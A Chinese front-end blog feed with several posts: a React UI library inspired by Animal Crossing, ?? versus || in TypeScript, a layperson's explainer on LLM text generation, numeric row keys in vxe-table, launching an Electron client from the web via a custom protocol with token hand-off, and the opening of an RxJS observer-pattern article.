我是冴羽,10 年笔耕不辍,专注前端领域,更新了 10+ 系列、300+ 篇原创技术文章,翻译过 Svelte、Solid.js、TypeScript 文档,著有小册《Next.js 开发指南》、《Svelte 开发指南》、《Astro 实战指南》。

欢迎围观我的“网页版朋友圈”,关注我的公众号:冴羽(或搜索 yayujs),每天分享前端知识、AI 干货。

一款灵感源自《集合啦!动物森友会》的 UI 组件库

2026年4月17日 17:32

风格软萌可爱,适配游戏动漫相关人员使用,开箱即用。
基于 React + TypeScript 实现的轻量 UI 组件库,灵感来源于任天堂《集合啦!动物森友会》游戏界面。

项目地址: github.com/guokaigdg/a…

项目官网: animal-island-ui.netlify.app/

animal.jpg

ts中 ?? 和 || 区别

2026年4月17日 17:31

在JavaScript和TypeScript开发中,我们经常需要为变量设置默认值。??(空值合并运算符)和 ||(逻辑或运算符)是两个常用的选择,但它们的判断逻辑有着本质区别。本文将深入解析这两个运算符的区别,帮助你写出更严谨的代码。

核心区别速览

|| 会在左侧值为 任何假值(falsy)  时返回右侧值,而 ?? 仅在左侧值为 null 或 undefined 时才返回右侧值。

这是两者最根本的差异,也是理解它们行为的关键。

JavaScript 中的假值(falsy)完整列表

在深入之前,先了解 JavaScript 中哪些值被视为假值。JavaScript 中一共有 7 个假值

  • false
  • 0(包括 -0 和 0n
  • ""(空字符串)
  • null
  • undefined
  • NaN

除了这 7 个值以外,其他所有值在布尔上下文中都被视为真值(truthy)。

核心对比:数值、字符串与布尔值场景

下面的对比表格清晰地展示了 ?? 和 || 在不同输入值下的行为差异:

| 输入值 a | a ?? "default" | a || "default" |
|-----------|-----------------|-----------------|
null | "default" | "default" |
undefined | "default" | "default" |
0 | 0 | "default" |
"" | "" | "default" |
false | false | "default" |
NaN | NaN | "default" |
"hello" 等真值 | "hello" | "hello" |

可以看到,当 0""false 和 NaN 这些假值出现时,|| 会错误地使用默认值,而 ?? 则会保留这些原本有意义的值。

下面通过具体代码来深入理解:

1. 处理数字 0——最常见的坑

// 用户可能真的想设置音量/页码为 0
const userVolume = 0;

// ❌ 使用 ||:0 被当作无效值
const volume1 = userVolume || 50;      // 结果:50(用户音量被覆盖!)

// ✅ 使用 ??:0 被正确保留
const volume2 = userVolume ?? 50;      // 结果:0(符合预期)

在使用 || 时,0 被视为假值,因此返回了默认值 50,这可能完全违背了用户的意图——比如用户想静音或跳转到第 0 页。

2. 处理空字符串

const userInput = "";

// ❌ 使用 ||:空字符串被当作无效输入
const name1 = userInput || "匿名用户";    // 结果:"匿名用户"

// ✅ 使用 ??:空字符串被正确保留
const name2 = userInput ?? "匿名用户";    // 结果:""

空字符串可能代表用户主动清空了输入框,使用 || 会错误地将其替换为默认值。

3. 处理布尔值 false

const isEnabled = false;

// ❌ 使用 ||:false 被当作无效值
const flag1 = isEnabled || true;    // 结果:true(覆盖了 false)

// ✅ 使用 ??:false 被正确保留
const flag2 = isEnabled ?? true;    // 结果:false(符合预期)

false 本身是一个有效的布尔值,在使用 || 提供默认值时会被错误覆盖。

4. 处理 NaN

const calculatedValue = NaN;

// ❌ 使用 ||:NaN 被当作无效值
const value1 = calculatedValue || 100;    // 结果:100

// ✅ 使用 ??:NaN 被正确保留
const value2 = calculatedValue ?? 100;    // 结果:NaN

实际开发场景:该用哪个?

场景一:分页/计数类数值——推荐 ??

// 当前页码为 0(第 1 页)是有效值
const currentPage = requestParams.page ?? 1;

// 评论数量为 0 是有效值
const commentCount = apiResponse.comments ?? 0;

0 在这些场景中是合法的业务数据,应该被保留。

场景二:表单输入处理——推荐 ??

// 温度传感器可能返回 0℃——这是有效读数
const temperature = sensorValue ?? 20;

// 字体大小可能为 0(表示最小字号)
const fontSize = userSettings.fontSize ?? 16;

场景三:字符串空值判断——考虑 ||

// 用户名输入:空字符串应显示为"匿名用户"
const displayName = username || "匿名用户";

// 或者显式处理三种情况
const displayName = username?.trim() || "匿名用户";

当空字符串和 null/undefined 都应被视为无效时,|| 是合适的选择。

场景四:布尔值开关——推荐 ??

// 用户偏好设置:false 表示"已禁用",不应被默认值覆盖
const darkMode = userPreference.darkMode ?? true;

场景五:Vue 模板中的使用

<template>
  <!-- 留言内容:空字符串显示占位文案 -->
  <div>{{ message || '暂无留言' }}</div>
  
  <!-- 评分:0 分是有效分数 -->
  <div>评分:{{ rating ?? '未评分' }}</div>
</template>

<script setup lang="ts">
import { ref } from 'vue';

const message = ref('');
const rating = ref(0);
</script>

模板中同样需要区分 ?? 和 || 的场景。

进阶篇:??= 和 ||= 的区别

TypeScript 4.0+ 还引入了逻辑赋值运算符,它们的行为与对应的二元运算符一致:

  • ||=:左侧为任何假值时赋值
  • ??=:左侧为 null 或 undefined 时才赋值
let config1 = { volume: 0 };
let config2 = { volume: 0 };

config1.volume ||= 50;    // volume 变成 50(0 被覆盖)
config2.volume ??= 50;    // volume 保持 0(0 被保留)

??= 能更精确地控制赋值的触发条件。

兼容性与注意事项

版本要求

?? 是 ES2020(ES11)  引入的新特性,在 TypeScript 3.7+ 中可用。

现代浏览器(Chrome 80+、Firefox 72+、Safari 13.1+)和 Node.js 14+ 均已支持。对于需要兼容旧环境的项目,可以通过 Babel 等工具进行转译。

语法限制:不能与 && 或 || 直接混用

出于语法歧义的考虑,ES 规范不允许 ?? 与 && 或 || 直接组合使用,否则会抛出语法错误:

// ❌ 语法错误!
a || b ?? c;
a ?? b || c;

// ✅ 正确写法:使用括号明确优先级
(a || b) ?? c;
a ?? (b || c);

总结与选择建议

  1. 核心记忆

    • ?? = 只认 null 和 undefined("空值")
    • || = 认所有假值(false0""nullundefinedNaN
  2. 简单原则:当 0""false 在你的业务场景中是有意义的值时,优先使用 ??

  3. ESLint 建议:许多现代项目配置了 @typescript-eslint/prefer-nullish-coalescing 规则,鼓励使用 ?? 替代 || 来处理空值,因为它能更精确地表达意图,避免因假值判断而引入 bug。

  4. 团队协作:在项目中统一使用 ?? 处理空值可以提升代码可读性,降低因假值判断不一致而引入的潜在风险。

都知道AI大模型能生成文本内容,那你知道大模型是怎样生成文本的吗?

2026年4月17日 17:16

举个例子

想象一下,AI大模型用 0.5秒生成了这样一段文本:

"今天天气真好,我决定去公园散步,呼吸一下新鲜空气,放松身心。"

那么问题来了:这个AI怎样在这么短的时间内,"想出来"这条段文本的?

答案可能会颠覆你的想象。它并不是在"思考",而是在进行一个机械的、分步的数学运算。

今天,我就用你能理解的方式,把大模型这5个神奇的步骤拆解给你看。


第一步:你说什么,我就听什么

01 | 输入与拆分(Input & Tokenization)

场景还原:

假如你现在对大模型说:

"用最有趣的方式讲解一个笑话"

大模型听到这句话时,它不是像我们一样理解语义,而是做一个非常机械的动作:把你的文字拆成一个个最小的单元

这个最小单元叫做 Token(令牌)

Token 是什么?

你可以把它理解为"汉字"或"词"。比如:

  • "用" = 1个Token
  • "最" = 1个Token
  • "有趣" = 1个Token
  • "的" = 1个Token
  • "方式" = 1个Token
  • "讲解" = 1个Token

所以你的一句话被拆成了一串Token序列:

[用][最][有趣][的][方式][讲解][一][个][笑话]

为什么要这样拆?

因为大模型的"大脑"(神经网络)只能理解数字,不能直接理解文字。

每个Token都被转换成一串数字(向量),看起来像这样:

"用" → [0.2, -0.5, 0.8, 0.1, ...](几百个数字)
"最" → [0.3, -0.2, 0.5, 0.9, ...](几百个数字)
...

这就像把人类的语言翻译成计算机能理解的"密码"。


第二步:我是怎样理解你的意思的?

02 | 上下文编码(Context Encoding)

场景还原:

现在大模型有了一串数字(Token的向量表示),接下来它要做的是:理解这些数字之间的关系

这一步发生在大模型的"大脑"——Transformer架构中。

Transformer在做什么?

Transformer是一个特殊的神经网络结构,它做的事情听起来很复杂,但核心思想很简单:

它在计算你输入的每个词与其他词之间的"关系强度"。

具体例子:

如果你说:"小王很聪明,他喜欢编程,但他讨厌数学。"

Transformer会这样计算:

  • "他" 和 "小王" 的关系强度:95%("他"指代"小王")
  • "他" 和 "数学" 的关系强度:30%(有关系但不是指代)
  • "他" 和 "讨厌" 的关系强度:80%("他"是"讨厌"的主语)

通过这种"关系计算",Transformer把你的输入文本转化成一个包含丰富上下文信息的数学表示

换句话说,大模型现在"懂"你说的是什么意思了——不是真的懂,而是把你的意思转化成了数学。

一个有趣的观察:

这就是为什么大模型有时候能推断你没有明说的东西。因为Transformer计算了所有词之间的关系,它能从这些关系中"推断"出隐含的意思。


第三步:我给出每个词的概率

03 | 概率计算(Probability Calculation)

场景还原:

现在,大模型已经理解了你的意思(至少在数学层面)。

接下来,它要做一个关键的决定:下一个词应该是什么?

但大模型不是"想"出来的,而是通过计算所有可能词汇的概率

具体过程:

假如你说:"今天天气真好,我想……"

大模型此时会计算:在"我想"之后,所有词出现的概率。

结果可能是这样的:

[去散步]32%
[出门]28%
[休息]18%
[唱歌]8%
[吃饭]7%
[睡觉]4%
[其他]3%

这就像在说:"根据我读过的所有文本,当有人说'我想'的时候,接下来最有可能说'去散步'(32%的概率)。"

为什么是这个概率?

因为大模型在预训练时,接触过数万亿个词的组合。它把这些统计规律"记录"在自己的参数中。当你说"我想"时,它就从记忆中翻出:

  • 在所有"我想"的后面,"去散步"出现了多少次?
  • "出门"出现了多少次?
  • ...以此类推

重要的认识:

大模型这一步做的是统计,而不是思考。它问的不是"逻辑上下一个词应该是什么",而是"历史上这种情况下下一个词通常是什么"。

这解释了为什么大模型有时候会说出很聪明的话(因为统计规律确实反映了正确的知识),有时候也会说出荒唐的话(因为它只是在"赌概率")。


第四步:我选一个最可能的词

04 | 采样输出(Sampling Output)

场景还原:

现在大模型有了一个概率分布(如上面所示)。接下来的问题是:怎样选择?

有两种策略:

策略A:贪心采样(Greedy Sampling)

规则很简单:选概率最高的。

[去散步] → 32% ← 选这个!
[出门] → 28%
[休息] → 18%
...

这样做的好处是:结果最稳定,最有可能"正确"

坏处是:内容容易重复和千篇一律

如果你每次问大模型同一个问题,它会给你几乎完全相同的答案。

策略B:随机采样(Random Sampling)

按照概率,随机选择一个词。

就像转一个转盘,32%的区域里"去散步",28%的区域里"出门",然后随机转动指针。

这样做的好处是:结果多样化,每次回答都不一样

坏处是:有时候会选出一些"概率很低但突然出现"的词,导致内容有点奇怪

实际应用:

大多数大模型使用的是"温度"参数来控制这两个极端之间的平衡:

  • 温度=0:完全贪心采样(最稳定)
  • 温度=1:完全随机采样(最多样)
  • 温度=0.7:介于两者之间(大多数应用的默认值)

第五步:我把新词加到你的话里,然后重复

05 | 迭代生成(Iterative Generation)

场景还原:

现在大模型选了一个词——比如"去散步"。

接下来发生的事情很简单,但非常强大:

它把这个新词加到原文本的末尾,然后重复第2-4步。

让我展示整个过程:

1次循环:
输入:"今天天气真好,我想"
↓(经过第2-4步)
选择:"去"
结果:"今天天气真好,我想去"2次循环:
输入:"今天天气真好,我想去"
↓(经过第2-4步)
选择:"散"
结果:"今天天气真好,我想去散"3次循环:
输入:"今天天气真好,我想去散"
↓(经过第2-4步)
选择:"步"
结果:"今天天气真好,我想去散步"4次循环:
输入:"今天天气真好,我想去散步"
↓(经过第2-4步)
选择:","
结果:"今天天气真好,我想去散步,"5次循环:
输入:"今天天气真好,我想去散步,"
↓(经过第2-4步)
选择:"呼"
结果:"今天天气真好,我想去散步,呼"

...继续循环...

直到大模型选出了[结束标记],生成过程才停止。

最终结果:

"今天天气真好,我想去散步,呼吸一下新鲜空气,放松身心。"

完整的微博在你眼睛一眨眼的功夫就生成好了。


深层理解:为什么看起来这么聪明?

现在让我们回到最开始的问题:大模型为什么能生成这么连贯、这么"有意义"的文本?

答案其实很意外:它根本不是在思考,而是在进行一个机械但高度优化的数学运算。

具体来说:

1. 神奇的统计规律

大模型在训练时,接触过数万亿个词的组合。这创建了一个巨大的"统计记忆":

  • 在所有文本中,"今天天气很好"后面跟"去散步"的频率有多高?
  • "我想"后面通常跟什么词?
  • "放松身心"通常怎样结尾?

正是这些统计规律,使得大模型能生成"看起来很自然"的文本。

2. 参数的力量

大模型有数十亿甚至数万亿个参数(可调节的权重)。这些参数共同作用,把这些统计规律"压缩"存储在神经网络中。

所以当你输入一个问题时,大模型实际上是在:

  • 调用这些参数
  • 执行数学运算
  • 从概率分布中采样

3. 涌现能力

有趣的是,当参数数量足够多、训练数据足够大时,一些"意想不到"的能力会出现:

  • 模型能回答从未在训练数据中见过的问题
  • 模型能理解"含义"(虽然它实际上只是在做数学)
  • 模型能执行多步骤的逻辑推理

这些被称为"涌现能力"——大模型做的是统计,但统计足够复杂时,就呈现出了"智能"的样子。


这个过程有什么局限?

理解了这个5步过程后,你也就理解了为什么大模型有时候会:

1. 编造信息

因为它只是在"填概率",如果某个词的概率是正数,它就可能被选中——即使这个词在这个上下文里没有根据。

2. 处理数学计算很差

因为"1+1=2"这样的计算,根本不是概率问题。大模型没有专门的计算模块,只能靠概率去"猜"答案。

3. 知识过期

因为大模型的知识来自训练数据的统计。2024年的新闻事件,如果没有在训练数据中出现过,大模型就无从知晓。

4. 容易被欺骗

因为它只是在做模式匹配。如果你用巧妙的prompt,可以让它做出不该做的事情。


最后的思考

当你看到一条"聪明的AI回答"时,不妨停下来想一想:

这真的是AI在思考吗?还是它只是在用难以想象的复杂性来做统计?

答案是:两者都是。

从某种意义上,统计足够复杂,就变成了智能。正如人类的思维也是由神经元的电化学过程组成的,但我们说人在"思考"一样。

大模型的5步生成过程看似简单:

  1. 拆成Token
  2. 理解上下文
  3. 计算概率
  4. 选择词汇
  5. 重复迭代

但这个过程重复数百次、数千次,加上数万亿个参数的协同作用,就产生了让人惊叹的结果。

这也是为什么有人说:大模型是"大力出奇迹"——因为它真的就是靠着巨量的参数、巨量的数据、和巨量的计算,实现了这种表面看起来"智能"的行为。

下次当大模型给你一个答案时,你会想到它在背后经历的这5个步骤吗?


想了解如何开发设计图中的AI应用?右下角扫码了解

设计图(带二维码).png

6.png

vxe-table 自定义数字行主键,解决默认字符串主键与后端类型不匹配问题

作者 卤蛋fg6
2026年4月17日 17:14

vxe-table 自定义数字行主键,解决默认字符串主键与后端类型不匹配问题 在使用 vxe-table 表格组件时,组件默认自动生成的行主键为字符串类型,但后端接口通常要求主键为数值(number)类型,直接提交会因数据类型不匹配导致接口报错。 有两种最优解决方案,支持局部配置和全局统一配置,彻底解决类型不兼容问题。

核心解决方案

vxe-table 提供了灵活的主键配置能力,推荐两种实用方案:

  1. 指定业务字段为主键:直接使用后端返回的数字 ID 作为行主键(推荐已有数据场景)
  2. 自定义主键生成方法:自定义生成数字类型的自增主键(推荐新增行场景)

代码

定义行主键生成逻辑,生成规则可以通过 row-config.createKeyMethod 来自定义,也可以全局定义。

<template>
  <div>
    <!-- 新增行按钮 -->
    <vxe-button type="primary" @click="addEvent">新增数据</vxe-button>

    <!-- vxe-table 表格 -->
    <vxe-grid ref="gridRef" v-bind="gridOptions"></vxe-grid>
  </div>
</template>

<script setup lang="ts">
import { ref, reactive } from 'vue'

// 表格行数据类型定义
interface TableRow {
  id: number; // 明确指定为数字类型主键
  name: string;
  role?: string;
  sex?: string;
  age?: number;
  address?: string;
}

// 表格实例引用
const gridRef = ref<InstanceType<typeof import('vxe-table')> | null>(null)

// 数字主键自增初始值(可根据业务调整)
let idSeed = 1000000000

// 表格配置项
const gridOptions = reactive({
  border: true,
  showOverflow: true,
  keepSource: true,
  height: 400,
  // 核心:自定义行主键配置
  rowConfig: {
    keyField: 'id', // 指定 id 字段作为行唯一主键
    // 自定义主键生成方法:返回数字类型,实现自增
    createKeyMethod: () => idSeed++
  },
  // 单元格编辑配置
  editConfig: {
    trigger: 'click',
    mode: 'cell',
    showStatus: true
  },
  // 表格列配置
  columns: [
    { type: 'seq', width: 70, title: '序号' },
    { field: 'name', title: '姓名', editRender: { name: 'input' } },
    { field: 'sex', title: '性别', editRender: { name: 'input' } },
    { field: 'age', title: '年龄', editRender: { name: 'input' } },
    { field: 'address', title: '地址', editRender: { name: 'input' } }
  ],
  // 初始化数据(id 均为数字类型)
  data: [
    { id: 10001, name: 'Test1', role: 'Develop', sex: '男', age: 28, address: 'test abc' },
    { id: 10002, name: 'Test2', role: 'Test', sex: '女', age: 22, address: '广州' },
    { id: 10003, name: 'Test3', role: 'PM', sex: '男', age: 32, address: '上海' },
    { id: 10004, name: 'Test4', role: 'Designer', sex: '女', age: 24, address: '上海' }
  ]
})

// 新增行事件
const addEvent = async () => {
  const $grid = gridRef.value
  if (!$grid) return

  // 新增空数据,主键由自定义方法自动生成
  const newRecord = { name: `Name_${Date.now()}` }
  const { row: newRow } = await $grid.insert(newRecord)

  // 验证:主键为数字类型
  console.log('新增行主键类型:', typeof newRow.id, '主键值:', newRow.id)
  console.log('新增行数据:', newRow)

  // 自动聚焦编辑姓名单元格
  $grid.setEditCell(newRow, 'name')
}
</script>

image

关键配置说明

参数作用

rowConfig.keyField指定表格行的唯一主键字段(如 id),替代默认主键 rowConfig.createKeyMethod自定义主键生成函数,返回值即为最终主键

全局配置(推荐多页面复用)

// main.ts
import { VxeUI } from 'vxe-table'

let globalIdSeed = 1000000000

VxeUI.setConfig({
  table: {
    rowConfig: {
      keyField: 'id',
      createKeyMethod: () => globalIdSeed++
    }
  }
})

方案对比与选择

  • 指定业务字段为主键
    • 适用场景:表格数据由后端返回,自带数字 ID
    • 优点:无额外逻辑,直接复用后端 ID
    • 配置:仅需设置 rowConfig: { keyField: 'id' }
  • 自定义主键生成方法
    • 适用场景:前端新增临时数据、无后端 ID 场景
    • 优点:完全可控,强制生成数字类型,避免类型报错
    • 配置:keyField + createKeyMethod 组合使用

github文档: github.com/x-extends/v…
vxetable.cn

告别二次登录!Web端检测并唤起Electron客户端实战

2026年4月17日 16:44

写在前面:审核大大对不起!不小心误删了!麻烦你在审核一遍 sorry

在做 To B 或重交互的 SaaS 产品时,我们经常会遇到这样的场景:用户通过浏览器访问了 Web 端(H5 模式),但其实本地已经安装了体验更好的 Electron 桌面客户端。

如果能自动检测并提示用户:“嘿,你本地有客户端,要不要直接切过去?”——并且点击后免登录、直接带参数跳转到对应页面,我看很多大厂软件都是这种基操。

今天就跟大家分享,我是如何从 0 到 1 落地这套Web 端检测 + 自定义协议唤起 + 无缝登录方案的。

一、先看效果:核心交互时序

整个方案的精髓在于“无感”和“顺滑”。我们不阻断用户的 Web 操作,而是通过非阻塞通知条引导。整体交互时序如下:

sequenceDiagram
    participant User as 用户
    participant Web as 浏览器 (Web端)
    participant OS as 操作系统
    participant App as Electron (桌面端)
    User->>Web: 打开H5页面
    activate Web
    Note over Web: 延迟 2s 后静默检测
    Web->>OS: iframe 尝试触发 my-protocol://detect
    alt 本地已安装且运行中
        OS-->>Web: 窗口极速失焦 (<500ms)
        Web->>User: 通知提示:"检测到已运行,是否唤起?"
    else 本地已安装未运行
        OS-->>Web: 窗口慢速失焦 (>500ms)
        Web->>User: 通知提示:"检测到已安装,是否启动?"
    else 本地未安装
        OS-->>Web: 超时无响应 (1500ms)
        Note over Web: 静默失败,不打扰用户
    end
    User->>Web: 点击"唤起/启动"
    Web->>OS: iframe 触发 my-protocol://launch?token=xxx&redirect=xxx
    OS->>App: 系统拉起/激活桌面端
    App->>App: 主进程解析 URL 拿到 Token
    App->>App: 渲染进程复用 SSO 逻辑登录并跳转

二、Web 端:如何检测客户端?

浏览器出于安全限制,无法直接扫描用户电脑的注册表或硬盘。目前业界通用的做法是自定义协议探测 + 窗口失焦计时

1. 核心探测原理(灵魂所在)

我们通过一个隐藏的 iframe 去请求自定义协议(如 my-protocol://detect):

  • 如果未安装:浏览器找不到处理程序,无事发生。
  • 如果已安装:操作系统会接管这个协议,并尝试唤起对应的客户端,这会导致浏览器窗口失焦。 trick 来了:如何区分“客户端正在后台运行”和“客户端未运行只是装了”?
    答案是:看失焦的速度!

如果客户端已经在运行,系统只需执行“聚焦窗口”的操作,速度极快(< 500ms);如果客户端没运行,系统需要先走冷启动流程加载进程,耗时较长(> 500ms)。

2. 状态判断流程图

flowchart TD
    A[Web 页面加载完成] --> B[创建隐藏 iframe]
    B --> C[尝试跳转 my-protocol://detect]
    C --> D{监听 window.blur 或 visibilitychange}
    D -->|未触发失焦| E[等待 1500ms 超时]
    E --> F[结论: none 未安装]
    D -->|触发失焦| G[计算耗时 = 当前时间 - 开始时间]
    G --> H{耗时 < 500ms ?}
    H -->|是| I[结论: running 已运行]
    H -->|否| J[结论: installed 已安装未运行]

3. 核心代码实现 (clientLauncher.js)

这里一定要处理好 setTimeout 的竞态问题,确保 Promise 只 resolve 一次。

const PROTOCOL = 'my-protocol'
const QUICK_BLUR_THRESHOLD = 500 // 响应时间阈值
export function detectClientStatus() {
  return new Promise((resolve) => {
    let resolved = false
    const startTime = Date.now()
    const iframe = document.createElement('iframe')
    iframe.style.display = 'none'
    document.body.appendChild(iframe)
    // 统一的结束函数,防止多次 resolve
    const finish = (result) => {
      if (resolved) return
      resolved = true
      clearTimeout(timer)
      document.removeEventListener('visibilitychange', onVisibilityChange)
      window.removeEventListener('blur', onBlur)
      if (iframe.parentNode) document.body.removeChild(iframe)
      resolve(result)
    }
    const onDetected = () => {
      const elapsed = Date.now() - startTime
      finish(elapsed < QUICK_BLUR_THRESHOLD ? 'running' : 'installed')
    }
    const onVisibilityChange = () => { if (document.hidden) onDetected() }
    const onBlur = () => onDetected()
    document.addEventListener('visibilitychange', onVisibilityChange)
    window.addEventListener('blur', onBlur)
    try {
      iframe.contentWindow.location.href = `${PROTOCOL}://detect`
    } catch (e) { /* 协议未注册报错,忽略 */ }
    // 1.5s 内未失焦,视为未安装
    const timer = setTimeout(() => finish('none'), 1500)
  })
}

4. 带参唤起 & 非阻断 UI

  • 为什么用 iframe 而不用 window.location.href
    因为如果协议解析失败,直接改 location 会导致当前 Web 页面变成一片空白的错误页!
  • UI 层面:坚决摒弃阻断式的 Modal 弹窗,改用 Ant Design 的 notification,允许用户关掉提示继续用网页,15秒后自动消失。
export function launchClient() {
  const token = localStorage.getItem('token') || ''
  const currentPath = window.location.hash.replace('#', '') || ''
  const params = new URLSearchParams()
  if (token) params.set('token', token) // 携带登录态
  if (currentPath) params.set('redirect', currentPath) // 携带当前路由
  const url = `${PROTOCOL}://launch?${params.toString()}`
  const iframe = document.createElement('iframe')
  iframe.style.display = 'none'
  document.body.appendChild(iframe)
  iframe.contentWindow.location.href = url
  setTimeout(() => iframe.parentNode && document.body.removeChild(iframe), 3000)
}

三、Electron 端:协议注册与三种场景覆盖

桌面端要做的就两件事:认领协议、解析参数

1. 协议注册 (electron-builder)

在打包配置中声明协议,安装包会自动往 Windows 的注册表里写东西。

// electron-builder.js
module.exports = {
  protocols: [
    { name: "My App Protocol", schemes: ["my-protocol"] }
  ],
  nsis: {
    include: './installer.nsh' // 卸载清理用,后面说
  }
}

2. 主进程监听处理 (main/index.ts)

  • 划重点:必须在 app.ready 之前调用 app.setAsDefaultProtocolClient
  • 此外,唤起有三种场景,漏掉任何一种都会导致 bug:
const CUSTOM_PROTOCOL = 'my-protocol'
// 注册(注意开发环境和生产环境参数不同)
if (process.defaultApp) {
  app.setAsDefaultProtocolClient(CUSTOM_PROTOCOL, process.execPath, [path.resolve(process.argv[1])])
} else {
  app.setAsDefaultProtocolClient(CUSTOM_PROTOCOL)
}
// 提取解析逻辑
const handleProtocolLaunch = (url: string) => {
  if (!win) return
  win.isMinimized() && win.restore()
  win.focus()
  try {
    const parsedUrl = new URL(url)
    const token = parsedUrl.searchParams.get('token')
    const redirect = parsedUrl.searchParams.get('redirect')
    if (token) {
      // 把 token 和路由发给渲染进程
      win.webContents.send('protocol-launch', { token, redirect })
    }
  } catch (e) {}
}
// 场景1:冷启动(电脑刚开机,第一次点协议唤起)
app.whenReady().then(() => {
  createWindow()
  if (process.platform === 'win32') {
    const protocolUrl = process.argv.find(arg => arg.startsWith(`${CUSTOM_PROTOCOL}://`))
    if (protocolUrl) handleProtocolLaunch(protocolUrl)
  }
})
// 场景2:热唤起(Windows 下客户端已经打开着)
app.on('second-instance', (_, commandLine) => {
  const protocolUrl = commandLine.find(arg => arg.startsWith(`${CUSTOM_PROTOCOL}://`))
  if (protocolUrl) handleProtocolLaunch(protocolUrl)
})
// 场景3:macOS 的特殊处理
app.on('open-url', (event, url) => {
  event.preventDefault()
  handleProtocolLaunch(url)
})

3. 渲染进程接收实现无缝登录

在 Vue/React 的根组件里监听 IPC,拿到 token 后,如果本地没登录就走 SSO 静默登录,如果已登录就直接 router.replace 跳转。用户体验就是:点了一下浏览器的提示,PC端瞬间闪到眼前,已经是登录状态且在对应页面了

四、容易被忽视的:卸载清理

很多类似方案在网上能找到,但极少有人提卸载的问题。

  • 痛点app.setAsDefaultProtocolClient() 这个 API 很鸡贼,它不仅会在安装时写入 HKCR\my-protocol,在客户端每次运行时,还会往 HKCU\Software\Classes\my-protocol 写入当前执行路径。
    如果用户卸载了客户端,安装包通常只清理 HKCRHKCU 里的记录还在!这就导致 Web 端去探测时,操作系统说“我认识这个协议”,然后抛出“找不到应用程序”的系统报错,或者卡死。
  • 解决:必须在 NSIS 卸载脚本里双杀:
!macro customUnInstall
  ; 杀 NSIS 安装时写入的
  DeleteRegKey HKCR "my-protocol"
  ; 杀 app.setAsDefaultProtocolClient() 运行时偷偷写入的(关键!)
  DeleteRegKey HKCU "Software\Classes\my-protocol"
  DetailPrint "已彻底清理协议注册表"
!macroend

五、🧗 踩坑实录

如果你准备照着这套方案落地,这里可以看下我踩到的坑:

坑位描述 血泪教训
协议名拼写不一致 electron-builder 里配的是 jack-hanger,代码里写的是 jackhanger。导致装了等于没装,怎么都唤不起。解决:全局提取协议名为常量。
漏掉冷启动场景 只写了 second-instance 监听,测试时因为客户端一直开着没发现。发给用户后,用户第一次点击毫无反应。解决:老老实实在 app.whenReady 里解析一遍 process.argv
双 Timeout 竞态 检测函数里写了两个 setTimeout 互相竞争,导致 Promise 被 resolve 了两次,引起内存泄漏和状态错乱。解决:设立 resolved 哨兵变量,统一走 finish() 函数。
卸载后误检测(上文提到的) 只清理了 HKCR,导致卸载后 Web 端依然误判为“已安装”。解决:NSIS 脚本加上清理 HKCU 的逻辑。
直接用 location.href 跳转 在某些浏览器(如老版 Edge)下,如果协议解析失败,整个 Web 页面会被替换成报错页。解决:坚决使用隐藏 iframe 触发。

六、延伸讨论:绕不开的拦截与安全问题

上面这套方案跑通后,体验确实丝滑,但在真实复杂的网络环境下,我们还得面对两个灵魂拷问:

1. 浏览器拦截问题:探测总是不准怎么办?

你会发现,现代浏览器(尤其是 Chrome)对自定义协议的拦截越来越严。

  • 首次触发拦截:Chrome 在遇到不认识的 custom-protocol:// 时,可能会在地址栏底下弹一个条:“请确认是否打开 XXX 应用”,或者直接弹一个系统级警告框。这会严重干扰我们的“失焦计时”判断,导致本来判定为 running 的状态变成了 none 或者超时。
  • 如何缓解
    • 延迟探测:页面加载后不要立刻测,延迟个 2–3 秒,避免跟页面的其他核心渲染抢焦点。
    • 降级处理:接受“检测不准”的现实。如果检测出 none,但在页面上依然放一个肉眼可见的“打开客户端”的按钮。用户手动点击时,浏览器对用户主动触发的协议拦截容忍度会高很多。
    • 不要过度依赖黑魔法:如果业务强依赖这种拉起,考虑走 WebSocket 长连接。客户端开机启动一个后台服务监听本地端口,网页直接 fetch('http://127.0.0.1:xxx/ping'),这种基于 HTTP 的探测比自定义协议稳得多(很多大厂云盘就是这么干的)。

2. 安全问题:URL 里明文传 Token 靠谱吗?

我们在唤起时用了 my-protocol://launch?token=xxx,这里埋了两个雷:

  • 泄露风险:在 Windows 的某些日志系统、或者使用了历史记录同步的浏览器中,完整的 URL 可能会被明文记录上报。Token 一旦泄露,相当于账号被盗。
  • 协议劫持:如果用户电脑上被植入了恶意软件,恶意软件抢先在注册表里注册了 my-protocol,那么网页触发时,实际上是恶意软件接收到了这个 Token。
  • 更安全的做法:抛弃直接传 Token 的思路,改用一次性授权码
    1. 网页端唤起前,先调后端接口生成一个 5 分钟有效期的短 code
    2. 唤起 URL 变成:my-protocol://launch?code=abc123
    3. 客户端拿到 code 后,走本地的 HTTP 接口或直接调后端接口,用 code 换真正的 token
    4. 即使 code 被劫持或记录,因为有效期极短且只能用一次,风险也完全可控。

总结

Web 端唤起桌面端并不是什么黑科技,处理好了失焦时间差、隐藏 iframe、三种启动场景和注册表双清,就能打造出一个极其丝滑、无侵入的跨端导流体验。


从观察者模式到 RxJS:让复杂的异步逻辑变得优雅又舒服

2026年4月17日 16:35

深度剖析:从原生观察者模式到 RxJS,彻底降伏前端异步洪荒

在我们日常的前端开发中,尤其是面对极其复杂的业务中台、微前端架构或是高度动态的交互页面时,Promiseasync/await 往往显得力不从心。为什么?因为它们天生只能处理单次的异步结果。

今天,我们将从最基础的观察者模式(Observer Pattern)出发,一步步推演出为何我们需要 RxJS,并深入探讨它在真实业务场景中的杀手级应用。

本文代码侧重于原生 JS 与 RxJS 的核心逻辑结合。在 Vue3 框架中,我们通常会在 setup 阶段构建流,并在 onUnmounted 中统一执行 unsubscribe 以确保内存安全。享受 Vibe Coding 带来业务提效的同时,别忘了偶尔回归底层,可以过一遍,在聪明的小脑瓜里面留下索引哦!😉

一、 起点:原生观察者模式的实现

前端无处不在的 addEventListener 就是观察者模式的变体。它的核心理念非常简单:发布者(Publisher)维护一个状态,当状态变更时,主动通知所有订阅者(Subscriber)。

我们先用原生 JS 手写一个标准的观察者:

// 1. 定义发布者 (Subject)
class Subject {
  constructor() {
    this.observers = []; // 维护订阅者名单
  }

  subscribe(observer) {
    this.observers.push(observer);
    // 返回一个取消订阅的函数,防止内存泄漏
    return () => {
      this.observers = this.observers.filter(obs => obs !== observer);
    };
  }

  next(data) {
    // 广播:通知所有订阅者
    this.observers.forEach(observer => observer(data));
  }
}

// 2. 业务使用场景:简单的状态同步
const userStatus$ = new Subject();

// A 模块订阅
const unsubscribeA = userStatus$.subscribe((status) => {
  console.log(`[模块A] 收到用户状态更新: ${status}`);
});

